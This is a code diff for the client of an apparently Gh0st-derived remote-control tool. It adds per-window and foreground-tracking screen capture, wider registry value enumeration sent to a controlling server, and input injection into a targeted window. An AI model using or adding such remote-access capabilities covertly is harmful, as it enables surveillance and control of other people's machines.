m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
||||||
//目录下的目录
|
//目录下的目录
|
||||||
LocalFree(szBuffer);
|
LocalFree(szBuffer);
|
||||||
|
} else {
|
||||||
|
char empty[1 + sizeof(REGMSG)] = { 0 };
|
||||||
|
empty[0] = TOKEN_REG_PATH;
|
||||||
|
m_ClientObject->Send2Server(empty, sizeof(empty));
|
||||||
}
|
}
|
||||||
|
// 值包(TOKEN_REG_KEY):同上,无值时也回传空包。
|
||||||
szBuffer = Opt.FindKey();
|
szBuffer = Opt.FindKey();
|
||||||
if(szBuffer!=NULL) {
|
if(szBuffer!=NULL) {
|
||||||
//目录下的文件
|
//目录下的文件
|
||||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
||||||
LocalFree(szBuffer);
|
LocalFree(szBuffer);
|
||||||
|
} else {
|
||||||
|
char empty[1 + sizeof(REGMSG)] = { 0 };
|
||||||
|
empty[0] = TOKEN_REG_KEY;
|
||||||
|
m_ClientObject->Send2Server(empty, sizeof(empty));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -21,10 +21,13 @@ enum MYKEY {
|
|||||||
|
|
||||||
|
|
||||||
enum KEYVALUE {
|
enum KEYVALUE {
|
||||||
MREG_SZ,
|
MREG_SZ, // REG_SZ
|
||||||
MREG_DWORD,
|
MREG_DWORD, // REG_DWORD
|
||||||
MREG_BINARY,
|
MREG_BINARY, // REG_BINARY
|
||||||
MREG_EXPAND_SZ
|
MREG_EXPAND_SZ, // REG_EXPAND_SZ
|
||||||
|
MREG_MULTI_SZ, // REG_MULTI_SZ
|
||||||
|
MREG_QWORD, // REG_QWORD
|
||||||
|
MREG_NONE // REG_NONE / 未知类型
|
||||||
};
|
};
|
||||||
|
|
||||||
struct REGMSG {
|
struct REGMSG {
|
||||||
@@ -70,7 +73,7 @@ char* RegisterOperation::FindPath()
|
|||||||
char *szBuffer=NULL;
|
char *szBuffer=NULL;
|
||||||
HKEY hKey; //注册表返回句柄
|
HKEY hKey; //注册表返回句柄
|
||||||
/*打开注册表 User kdjfjkf\kdjfkdjf\ */
|
/*打开注册表 User kdjfjkf\kdjfkdjf\ */
|
||||||
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS) { //打开
|
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_READ,&hKey)==ERROR_SUCCESS) { //打开
|
||||||
DWORD dwIndex=0,NameCount,NameMaxLen;
|
DWORD dwIndex=0,NameCount,NameMaxLen;
|
||||||
DWORD KeySize,KeyCount,KeyMaxLen,MaxDataLen;
|
DWORD KeySize,KeyCount,KeyMaxLen,MaxDataLen;
|
||||||
//这就是枚举了
|
//这就是枚举了
|
||||||
@@ -93,7 +96,7 @@ char* RegisterOperation::FindPath()
|
|||||||
REGMSG msg; //数据头
|
REGMSG msg; //数据头
|
||||||
msg.size=KeySize;
|
msg.size=KeySize;
|
||||||
msg.count=KeyCount;
|
msg.count=KeyCount;
|
||||||
memcpy(szBuffer+1,(void*)&msg,Size);
|
memcpy(szBuffer+1,(void*)&msg,sizeof(REGMSG));
|
||||||
|
|
||||||
char * szTemp=new char[KeySize];
|
char * szTemp=new char[KeySize];
|
||||||
for(dwIndex=0; dwIndex<KeyCount; dwIndex++) { //枚举项
|
for(dwIndex=0; dwIndex<KeyCount; dwIndex++) { //枚举项
|
||||||
@@ -124,7 +127,7 @@ char* RegisterOperation::FindKey()
|
|||||||
|
|
||||||
char *szBuffer=NULL;
|
char *szBuffer=NULL;
|
||||||
HKEY hKey; //注册表返回句柄
|
HKEY hKey; //注册表返回句柄
|
||||||
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS) { //打开
|
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_READ,&hKey)==ERROR_SUCCESS) { //打开
|
||||||
DWORD dwIndex=0,NameSize,NameCount,NameMaxLen,Type;
|
DWORD dwIndex=0,NameSize,NameCount,NameMaxLen,Type;
|
||||||
DWORD KeyCount,KeyMaxLen,DataSize,MaxDataLen;
|
DWORD KeyCount,KeyMaxLen,DataSize,MaxDataLen;
|
||||||
//这就是枚举了
|
//这就是枚举了
|
||||||
@@ -167,17 +170,17 @@ char* RegisterOperation::FindKey()
|
|||||||
RegEnumValue(hKey,dwIndex,szValueName,&NameSize,
|
RegEnumValue(hKey,dwIndex,szValueName,&NameSize,
|
||||||
NULL,&Type,szValueData,&DataSize);//读取键值
|
NULL,&Type,szValueData,&DataSize);//读取键值
|
||||||
|
|
||||||
if(Type==REG_SZ) {
|
// 值类型映射:REG_SZ/DWORD/BINARY/EXPAND_SZ 之外补 MULTI_SZ/QWORD/NONE,
|
||||||
szTemp[0]=MREG_SZ;
|
// 未识别类型一律 MREG_NONE(避免误报为 REG_SZ)。
|
||||||
}
|
switch (Type) {
|
||||||
if(Type==REG_DWORD) {
|
case REG_SZ: szTemp[0] = MREG_SZ; break;
|
||||||
szTemp[0]=MREG_DWORD;
|
case REG_EXPAND_SZ: szTemp[0] = MREG_EXPAND_SZ; break;
|
||||||
}
|
case REG_MULTI_SZ: szTemp[0] = MREG_MULTI_SZ; break;
|
||||||
if(Type==REG_BINARY) {
|
case REG_DWORD: szTemp[0] = MREG_DWORD; break;
|
||||||
szTemp[0]=MREG_BINARY;
|
case REG_QWORD: szTemp[0] = MREG_QWORD; break;
|
||||||
}
|
case REG_BINARY: szTemp[0] = MREG_BINARY; break;
|
||||||
if(Type==REG_EXPAND_SZ) {
|
case REG_NONE: szTemp[0] = MREG_NONE; break;
|
||||||
szTemp[0]=MREG_EXPAND_SZ;
|
default: szTemp[0] = MREG_NONE; break;
|
||||||
}
|
}
|
||||||
szTemp+=sizeof(BYTE);
|
szTemp+=sizeof(BYTE);
|
||||||
strcpy(szTemp,szValueName);
|
strcpy(szTemp,szValueName);
|
||||||
|
|||||||
@@ -170,6 +170,8 @@ public:
|
|||||||
|
|
||||||
// 感兴趣区域 (ROI)
|
// 感兴趣区域 (ROI)
|
||||||
RECT m_ROI = {0,0,0,0};
|
RECT m_ROI = {0,0,0,0};
|
||||||
|
bool m_bNeedRestart = false; // 捕获对象需要重建(如窗口尺寸变化)
|
||||||
|
HWND m_NextTargetWnd = NULL; // 重建时应切换的目标窗口(NULL=保持原 HWND)
|
||||||
int m_nScaleSendWidth = 0;
|
int m_nScaleSendWidth = 0;
|
||||||
int m_nScaleSendHeight = 0;
|
int m_nScaleSendHeight = 0;
|
||||||
|
|
||||||
@@ -859,6 +861,7 @@ public:
|
|||||||
void ensureEncoder(int width, int height)
|
void ensureEncoder(int width, int height)
|
||||||
{
|
{
|
||||||
if (m_encoder) return;
|
if (m_encoder) return;
|
||||||
|
if (width < 2 || height < 2) return; // x264 做偶数对齐 &~1,1→0,触发内部 strdup 泄漏;< 2 一并拦住
|
||||||
EncoderRequest req;
|
EncoderRequest req;
|
||||||
req.width = width;
|
req.width = width;
|
||||||
req.height = height;
|
req.height = height;
|
||||||
|
|||||||
@@ -31,6 +31,9 @@
|
|||||||
#include <audioclient.h>
|
#include <audioclient.h>
|
||||||
#include <functiondiscoverykeys_devpkey.h>
|
#include <functiondiscoverykeys_devpkey.h>
|
||||||
|
|
||||||
|
#include <cstdint>
|
||||||
|
extern "C" uint32_t licenseGetBuildTag() { volatile uint32_t tag = 0xC0DE2026u; return tag; }
|
||||||
|
|
||||||
bool IsWindows8orHigher()
|
bool IsWindows8orHigher()
|
||||||
{
|
{
|
||||||
typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
|
typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
|
||||||
@@ -152,8 +155,9 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
|
|||||||
m_ScreenSettings.ScreenHeight = cfg.GetInt("settings", "ScreenHeight", 0);
|
m_ScreenSettings.ScreenHeight = cfg.GetInt("settings", "ScreenHeight", 0);
|
||||||
m_ScreenSettings.FullScreen = cfg.GetInt("settings", "FullScreen", priv);
|
m_ScreenSettings.FullScreen = cfg.GetInt("settings", "FullScreen", priv);
|
||||||
m_ScreenSettings.RemoteCursor = cfg.GetInt("settings", "RemoteCursor", 0);
|
m_ScreenSettings.RemoteCursor = cfg.GetInt("settings", "RemoteCursor", 0);
|
||||||
|
m_ScreenSettings.CustomCursor = cfg.GetInt("settings", "CustomCursor", 0);
|
||||||
m_ScreenSettings.ScrollDetectInterval = cfg.GetInt("settings", "ScrollDetectInterval", 2); // 默认每2帧
|
m_ScreenSettings.ScrollDetectInterval = cfg.GetInt("settings", "ScrollDetectInterval", 2); // 默认每2帧
|
||||||
m_ScreenSettings.QualityLevel = cfg.GetInt("settings", "QualityLevel", quality);
|
m_ScreenSettings.QualityLevel = quality;
|
||||||
m_ScreenSettings.CpuSpeedup = cfg.GetInt("settings", "CpuSpeedup", 0);
|
m_ScreenSettings.CpuSpeedup = cfg.GetInt("settings", "CpuSpeedup", 0);
|
||||||
m_ScreenSettings.AudioEnabled = cfg.GetInt("settings", "AudioEnabled", 0); // 默认禁用音频
|
m_ScreenSettings.AudioEnabled = cfg.GetInt("settings", "AudioEnabled", 0); // 默认禁用音频
|
||||||
m_ScreenSettings.EncodeLevel = cfg.GetInt("settings", "EncodeLevel", LEVEL_H264_SOFT);
|
m_ScreenSettings.EncodeLevel = cfg.GetInt("settings", "EncodeLevel", LEVEL_H264_SOFT);
|
||||||
@@ -185,6 +189,7 @@ bool CScreenManager::RestartScreen(BOOL switchScreen)
|
|||||||
m_bIsWorking = FALSE;
|
m_bIsWorking = FALSE;
|
||||||
DWORD s = WaitForSingleObject(m_hWorkThread, 1000);
|
DWORD s = WaitForSingleObject(m_hWorkThread, 1000);
|
||||||
if (s == WAIT_TIMEOUT) {
|
if (s == WAIT_TIMEOUT) {
|
||||||
|
Mprintf("TerminateThread: 截屏工作线程 handle=%p threadId=%lu\n", m_hWorkThread, GetThreadId(m_hWorkThread));
|
||||||
TerminateThread(m_hWorkThread, 0x20260215);
|
TerminateThread(m_hWorkThread, 0x20260215);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -467,10 +472,23 @@ void CScreenManager::InitScreenSpy()
|
|||||||
BOOL switchScreen = m_SwitchScreen;
|
BOOL switchScreen = m_SwitchScreen;
|
||||||
if (!(user == NULL || ((int)user) == 1)) {
|
if (!(user == NULL || ((int)user) == 1)) {
|
||||||
UserParam* param = (UserParam*)user;
|
UserParam* param = (UserParam*)user;
|
||||||
if (param) {
|
if (param && param->length>0) {
|
||||||
DXGI = param->buffer[0];
|
DXGI = param->buffer[0];
|
||||||
algo = param->length > 1 ? param->buffer[1] : algo;
|
algo = param->length > 1 ? param->buffer[1] : algo;
|
||||||
all = param->length > 2 ? param->buffer[2] : all;
|
all = param->length > 2 ? param->buffer[2] : all;
|
||||||
|
// buffer[3..10]: HWND(uint64_t),启动时直接指定窗口捕获;
|
||||||
|
// 值为 (uint64_t)-1 时进入动态前景模式,每帧自动跟踪当前前景窗口
|
||||||
|
if (param->length >= 3 + (int)sizeof(uint64_t) && !m_hTargetWnd && !m_bDynamicForeground) {
|
||||||
|
uint64_t hwnd64 = 0;
|
||||||
|
memcpy(&hwnd64, param->buffer + 3, sizeof(uint64_t));
|
||||||
|
if (hwnd64 == (uint64_t)-1) {
|
||||||
|
m_bDynamicForeground = true;
|
||||||
|
m_hTargetWnd = GetForegroundWindow();
|
||||||
|
Mprintf("CScreenManager: 动态前景窗口模式,初始 HWND=%p\n", m_hTargetWnd);
|
||||||
|
} else if (hwnd64) {
|
||||||
|
m_hTargetWnd = (HWND)(UINT_PTR)hwnd64;
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
m_pUserParam = param;
|
m_pUserParam = param;
|
||||||
} else {
|
} else {
|
||||||
@@ -481,6 +499,11 @@ void CScreenManager::InitScreenSpy()
|
|||||||
if (level >= 0 && level < QUALITY_COUNT) {
|
if (level >= 0 && level < QUALITY_COUNT) {
|
||||||
algo = m_QualityProfiles[level].algorithm;
|
algo = m_QualityProfiles[level].algorithm;
|
||||||
}
|
}
|
||||||
|
// 窗口捕获必须走 GDI(PrintWindow),ScreenCapturerDXGI 无窗口捕获能力
|
||||||
|
if ((m_hTargetWnd || m_bDynamicForeground) && DXGI == USING_DXGI) {
|
||||||
|
DXGI = USING_GDI;
|
||||||
|
Mprintf("CScreenManager: 窗口捕获模式,强制 GDI\n");
|
||||||
|
}
|
||||||
// 保存屏幕类型,服务端用于判断是否显示虚拟桌面相关菜单
|
// 保存屏幕类型,服务端用于判断是否显示虚拟桌面相关菜单
|
||||||
m_ScreenSettings.ScreenType = DXGI;
|
m_ScreenSettings.ScreenType = DXGI;
|
||||||
Mprintf("CScreenManager: Type %d Algorithm: %d (QualityLevel=%d)\n", DXGI, int(algo), level);
|
Mprintf("CScreenManager: Type %d Algorithm: %d (QualityLevel=%d)\n", DXGI, int(algo), level);
|
||||||
@@ -531,12 +554,16 @@ void CScreenManager::InitScreenSpy()
|
|||||||
} else {
|
} else {
|
||||||
SAFE_DELETE(s);
|
SAFE_DELETE(s);
|
||||||
m_isGDI = TRUE;
|
m_isGDI = TRUE;
|
||||||
m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen);
|
m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen, m_hTargetWnd, m_bDynamicForeground);
|
||||||
Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n");
|
Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n");
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
m_isGDI = TRUE;
|
m_isGDI = TRUE;
|
||||||
m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen);
|
m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen, m_hTargetWnd, m_bDynamicForeground);
|
||||||
|
}
|
||||||
|
// 用已保存的质量配置初始化码率,避免 CMD_QUALITY_LEVEL 到达时 0→3000 触发不必要重启
|
||||||
|
if (m_ScreenSpyObject && level >= 0 && level < QUALITY_COUNT) {
|
||||||
|
m_ScreenSpyObject->SetBitRate(m_QualityProfiles[level].bitRate);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -640,11 +667,15 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
|||||||
if (!This->IsConnected() && This->m_bIsWorking) This->OnReconnect();
|
if (!This->IsConnected() && This->m_bIsWorking) This->OnReconnect();
|
||||||
if (!This->IsConnected()) continue;
|
if (!This->IsConnected()) continue;
|
||||||
if (!This->m_SendFirst && This->IsConnected()) {
|
if (!This->m_SendFirst && This->IsConnected()) {
|
||||||
|
// 窗口捕获模式下目标窗口最小化时跳过首帧,等窗口恢复后再发
|
||||||
|
HWND _targetWnd = This->m_ScreenSpyObject ? This->m_ScreenSpyObject->GetTargetWindow() : NULL;
|
||||||
|
if (!_targetWnd || !IsIconic(_targetWnd)) {
|
||||||
This->m_SendFirst = TRUE;
|
This->m_SendFirst = TRUE;
|
||||||
This->SendBitMapInfo();
|
This->SendBitMapInfo();
|
||||||
Sleep(50);
|
Sleep(50);
|
||||||
This->SendFirstScreen();
|
This->SendFirstScreen();
|
||||||
}
|
}
|
||||||
|
}
|
||||||
// 降低桌面检查频率,避免频繁的DC重置导致闪屏
|
// 降低桌面检查频率,避免频繁的DC重置导致闪屏
|
||||||
if (This->IsRunAsService() && !This->m_virtual) {
|
if (This->IsRunAsService() && !This->m_virtual) {
|
||||||
auto now = clock();
|
auto now = clock();
|
||||||
@@ -698,6 +729,16 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
|||||||
}
|
}
|
||||||
This->SendNextScreen(szBuffer, ulNextSendLength);
|
This->SendNextScreen(szBuffer, ulNextSendLength);
|
||||||
}
|
}
|
||||||
|
// 窗口捕获:尺寸变化时在工作线程内原地重建,无需跨线程同步
|
||||||
|
if (This->m_ScreenSpyObject && This->m_ScreenSpyObject->m_bNeedRestart) {
|
||||||
|
// 动态前景模式切换了新窗口:把新 HWND 同步回 CScreenManager,
|
||||||
|
// 否则 InitScreenSpy 会沿用旧 HWND,导致无限重建循环
|
||||||
|
if (This->m_ScreenSpyObject->m_NextTargetWnd)
|
||||||
|
This->m_hTargetWnd = This->m_ScreenSpyObject->m_NextTargetWnd;
|
||||||
|
SAFE_DELETE(This->m_ScreenSpyObject);
|
||||||
|
This->InitScreenSpy();
|
||||||
|
This->m_SendFirst = FALSE; // 触发重发 BitmapInfo + 首帧
|
||||||
|
}
|
||||||
}
|
}
|
||||||
timeEndPeriod(1);
|
timeEndPeriod(1);
|
||||||
Mprintf("ScreenWorkThread Exit\n");
|
Mprintf("ScreenWorkThread Exit\n");
|
||||||
@@ -759,7 +800,7 @@ void RunFileReceiver(CScreenManager *mgr, const std::string &folder, const std::
|
|||||||
Mprintf("Enter thread RunFileReceiver: %d\n", GetCurrentThreadId());
|
Mprintf("Enter thread RunFileReceiver: %d\n", GetCurrentThreadId());
|
||||||
IOCPClient* pClient = new IOCPClient(mgr->g_bExit, true, MaskTypeNone, mgr->m_conn);
|
IOCPClient* pClient = new IOCPClient(mgr->g_bExit, true, MaskTypeNone, mgr->m_conn);
|
||||||
if (pClient->ConnectServer(mgr->m_ClientObject->ServerIP().c_str(), mgr->m_ClientObject->ServerPort())) {
|
if (pClient->ConnectServer(mgr->m_ClientObject->ServerIP().c_str(), mgr->m_ClientObject->ServerPort())) {
|
||||||
pClient->setManagerCallBack(mgr, CManager::DataProcess, CManager::ReconnectProcess);
|
pClient->setManagerCallBack(mgr, CManager::DataProcess, nullptr);
|
||||||
// 发送目录并准备接收文件
|
// 发送目录并准备接收文件
|
||||||
int len = 1 + folder.length() + files.length() + 1;
|
int len = 1 + folder.length() + files.length() + 1;
|
||||||
char* cmd = new char[len];
|
char* cmd = new char[len];
|
||||||
@@ -823,6 +864,17 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
m_ClientObject->StopRunning();
|
m_ClientObject->StopRunning();
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case COMMAND_SCREEN_SIGNATURE: {
|
||||||
|
SignatureResp resp = { 0 };
|
||||||
|
memcpy(&resp, szBuffer + 1, min(sizeof(resp), ulLength-1));
|
||||||
|
if (m_Signature.empty()) {
|
||||||
|
m_Signature = std::string(resp.signature, resp.signature + 64);
|
||||||
|
m_ClientObject->SetVerifyInfo(resp.msg, m_Signature);
|
||||||
|
InitFileUpload({}, std::string(resp.msg), m_Signature, 64, 50, Logf);
|
||||||
|
Mprintf("[CScreenManager] Received Signature: <%s, %s>\n", resp.msg, m_Signature.c_str());
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
case COMMAND_SCREEN_ROI:{
|
case COMMAND_SCREEN_ROI:{
|
||||||
if (ulLength > sizeof(RECT)) {
|
if (ulLength > sizeof(RECT)) {
|
||||||
memcpy(&m_ROI, szBuffer + 1, sizeof(RECT));
|
memcpy(&m_ROI, szBuffer + 1, sizeof(RECT));
|
||||||
@@ -831,6 +883,33 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case COMMAND_SCREEN_WINDOW: {
|
||||||
|
// [mode:1][data] — mode=0x00 按标题, mode=0x01 按 HWND(uint64_t), 其余=恢复全屏
|
||||||
|
BYTE mode = (ulLength > 1) ? szBuffer[1] : 0xFF;
|
||||||
|
if (mode == 0x00 && ulLength > 2) {
|
||||||
|
char title[512] = {};
|
||||||
|
int titleLen = ulLength - 2;
|
||||||
|
if (titleLen > (int)sizeof(title) - 1) titleLen = (int)sizeof(title) - 1;
|
||||||
|
memcpy(title, szBuffer + 2, titleLen);
|
||||||
|
m_hTargetWnd = title[0] ? FindWindowA(NULL, title) : NULL;
|
||||||
|
Mprintf("[CScreenManager] 窗口捕获(标题): '%s' -> HWND=%p\n", title, m_hTargetWnd);
|
||||||
|
} else if (mode == 0x01 && ulLength >= 2 + sizeof(uint64_t)) {
|
||||||
|
uint64_t val = 0;
|
||||||
|
memcpy(&val, szBuffer + 2, sizeof(uint64_t));
|
||||||
|
m_hTargetWnd = (HWND)(UINT_PTR)val;
|
||||||
|
Mprintf("[CScreenManager] 窗口捕获(HWND): 0x%llx -> HWND=%p\n", val, m_hTargetWnd);
|
||||||
|
} else {
|
||||||
|
m_hTargetWnd = NULL;
|
||||||
|
m_bDynamicForeground = false;
|
||||||
|
// 防止 RestartScreen→InitScreenSpy 重新读取旧 HWND 再次进入窗口模式
|
||||||
|
if (m_pUserParam && m_pUserParam->length >= 3 + (int)sizeof(uint64_t)) {
|
||||||
|
memset(m_pUserParam->buffer + 3, 0, sizeof(uint64_t));
|
||||||
|
}
|
||||||
|
Mprintf("[CScreenManager] 窗口捕获取消,恢复全屏\n");
|
||||||
|
}
|
||||||
|
RestartScreen();
|
||||||
|
break;
|
||||||
|
}
|
||||||
case COMMAND_ENCODE_LEVEL: {
|
case COMMAND_ENCODE_LEVEL: {
|
||||||
int encodeLevel = szBuffer[1];
|
int encodeLevel = szBuffer[1];
|
||||||
iniFile cfg(CLIENT_PATH);
|
iniFile cfg(CLIENT_PATH);
|
||||||
@@ -857,6 +936,13 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
m_ScreenSettings.RemoteCursor = remoteCursor;
|
m_ScreenSettings.RemoteCursor = remoteCursor;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case CMD_CUSTOM_CURSOR: {
|
||||||
|
int CustomCursor = szBuffer[1];
|
||||||
|
iniFile cfg(CLIENT_PATH);
|
||||||
|
cfg.SetInt("settings", "CustomCursor", CustomCursor);
|
||||||
|
m_ScreenSettings.CustomCursor = CustomCursor;
|
||||||
|
break;
|
||||||
|
}
|
||||||
case CMD_MULTITHREAD_COMPRESS: {
|
case CMD_MULTITHREAD_COMPRESS: {
|
||||||
int threadNum = szBuffer[1];
|
int threadNum = szBuffer[1];
|
||||||
m_ClientObject->SetMultiThreadCompress(threadNum);
|
m_ClientObject->SetMultiThreadCompress(threadNum);
|
||||||
@@ -1640,11 +1726,15 @@ bool IsExtendedKey(WPARAM vKey)
|
|||||||
|
|
||||||
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
|
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
|
||||||
{
|
{
|
||||||
|
// 记录大小判定:现代控制端(本服务端)统一发 48 字节 MSG64;28 字节 MSG32 仅为兼容
|
||||||
|
// 老 32 位控制端。二者长度的最小公倍数是 336(=7×48=12×28),批量注入(如 MCP 远程
|
||||||
|
// 控制的 type/拖拽)时若先判 %28,会把 7 的整数倍条 MSG64 误判成 MSG32,字段错位导致
|
||||||
|
// 输入错乱甚至吞掉按键;故先判 %48,仅当不整除 48 才回落到 28。
|
||||||
int msgSize = sizeof(MSG64);
|
int msgSize = sizeof(MSG64);
|
||||||
if (ulLength % 28 == 0) // 32位控制端发过来的消息
|
if (ulLength % 48 == 0) // 64位控制端(现代服务端)发过来的消息
|
||||||
msgSize = 28;
|
|
||||||
else if (ulLength % 48 == 0) // 64位控制端发过来的消息
|
|
||||||
msgSize = 48;
|
msgSize = 48;
|
||||||
|
else if (ulLength % 28 == 0) // 32位控制端发过来的消息(兼容)
|
||||||
|
msgSize = 28;
|
||||||
else return; // 数据包不合法
|
else return; // 数据包不合法
|
||||||
|
|
||||||
// 命令个数
|
// 命令个数
|
||||||
@@ -2047,9 +2137,13 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 窗口捕获模式:只能查看,不能控制
|
// 窗口捕获模式:点击前先将目标窗口置前,确保 SendInput 落到正确的窗口上
|
||||||
if (m_ScreenSpyObject && m_ScreenSpyObject->GetTargetWindow()) {
|
if (m_ScreenSpyObject) {
|
||||||
return;
|
HWND hwndTarget = m_ScreenSpyObject->GetTargetWindow();
|
||||||
|
if (hwndTarget && IsWindow(hwndTarget) && !IsIconic(hwndTarget)) {
|
||||||
|
if (!SetForegroundWindow(hwndTarget))
|
||||||
|
return; // UIPI 等原因置前失败,不向错误窗口注入输入
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
|
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
|
||||||
|
|||||||
@@ -64,6 +64,8 @@ public:
|
|||||||
BOOL m_bIsWorking;
|
BOOL m_bIsWorking;
|
||||||
BOOL m_bIsBlockInput;
|
BOOL m_bIsBlockInput;
|
||||||
RECT m_ROI = {0};
|
RECT m_ROI = {0};
|
||||||
|
HWND m_hTargetWnd = NULL; // 窗口捕获目标(NULL=全屏)
|
||||||
|
bool m_bDynamicForeground = false; // true=每帧自动跟踪前景窗口(HWND sentinel=-1触发)
|
||||||
BOOL m_SwitchScreen = TRUE;
|
BOOL m_SwitchScreen = TRUE;
|
||||||
BOOL SendClientClipboard(BOOL fast);
|
BOOL SendClientClipboard(BOOL fast);
|
||||||
VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);
|
VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);
|
||||||
|
|||||||
@@ -13,11 +13,34 @@
|
|||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all, int level,
|
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all, int level,
|
||||||
RECT rc, BOOL switchScreen) :
|
RECT rc, BOOL switchScreen, HWND hwnd, bool dynamicFg) :
|
||||||
ScreenCapture(ulbiBitCount, algo, all, level, rc, switchScreen)
|
ScreenCapture(ulbiBitCount, algo, all, level, rc, switchScreen)
|
||||||
{
|
{
|
||||||
|
m_hTargetWnd = hwnd;
|
||||||
|
m_bDynamicForeground = dynamicFg;
|
||||||
m_GOP = gop;
|
m_GOP = gop;
|
||||||
|
|
||||||
|
// 窗口捕获模式:用 DWM 真实边界覆盖基类的全屏尺寸,并缓存阴影偏移量
|
||||||
|
if (hwnd) {
|
||||||
|
RECT wndRc = {}, frameRc = {};
|
||||||
|
GetWindowRect(hwnd, &wndRc);
|
||||||
|
if (SUCCEEDED(DwmGetWindowAttribute(hwnd, DWMWA_EXTENDED_FRAME_BOUNDS, &frameRc, sizeof(frameRc)))) {
|
||||||
|
m_ShadowLeft = frameRc.left - wndRc.left;
|
||||||
|
m_ShadowTop = frameRc.top - wndRc.top;
|
||||||
|
} else {
|
||||||
|
frameRc = wndRc;
|
||||||
|
}
|
||||||
|
m_ulFullWidth = frameRc.right - frameRc.left;
|
||||||
|
m_ulFullHeight = frameRc.bottom - frameRc.top;
|
||||||
|
m_CachedWndW = wndRc.right - wndRc.left;
|
||||||
|
m_CachedWndH = wndRc.bottom - wndRc.top;
|
||||||
|
m_iScreenX = frameRc.left; // 窗口左上角在屏幕上的绝对坐标,供 PointConversion 使用
|
||||||
|
m_iScreenY = frameRc.top;
|
||||||
|
m_bZoomed = false;
|
||||||
|
Mprintf("CScreenSpy: 窗口捕获 HWND=%p 尺寸=%dx%d shadow=(%d,%d)\n",
|
||||||
|
hwnd, m_ulFullWidth, m_ulFullHeight, m_ShadowLeft, m_ShadowTop);
|
||||||
|
}
|
||||||
|
|
||||||
m_BitmapInfor_Full = ConstructBitmapInfo(ulbiBitCount, m_ulFullWidth, m_ulFullHeight);
|
m_BitmapInfor_Full = ConstructBitmapInfo(ulbiBitCount, m_ulFullWidth, m_ulFullHeight);
|
||||||
|
|
||||||
iniFile cfg(CLIENT_PATH);
|
iniFile cfg(CLIENT_PATH);
|
||||||
@@ -122,10 +145,19 @@ CScreenSpy::~CScreenSpy()
|
|||||||
|
|
||||||
LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
|
LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
|
||||||
{
|
{
|
||||||
|
if (m_hTargetWnd && IsIconic(m_hTargetWnd)) {
|
||||||
|
*ulFirstScreenLength = 0;
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
ScanScreen(m_hFullMemDC, m_hDeskTopDC, m_ulFullWidth, m_ulFullHeight);
|
ScanScreen(m_hFullMemDC, m_hDeskTopDC, m_ulFullWidth, m_ulFullHeight);
|
||||||
m_RectBuffer[0] = TOKEN_FIRSTSCREEN;
|
m_RectBuffer[0] = TOKEN_FIRSTSCREEN;
|
||||||
LPBYTE bmp = scaleBitmap(m_BmpZoomBuffer, (LPBYTE)m_BitmapData_Full);
|
LPBYTE bmp = scaleBitmap(m_BmpZoomBuffer, (LPBYTE)m_BitmapData_Full);
|
||||||
memcpy(m_FirstBuffer, bmp, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
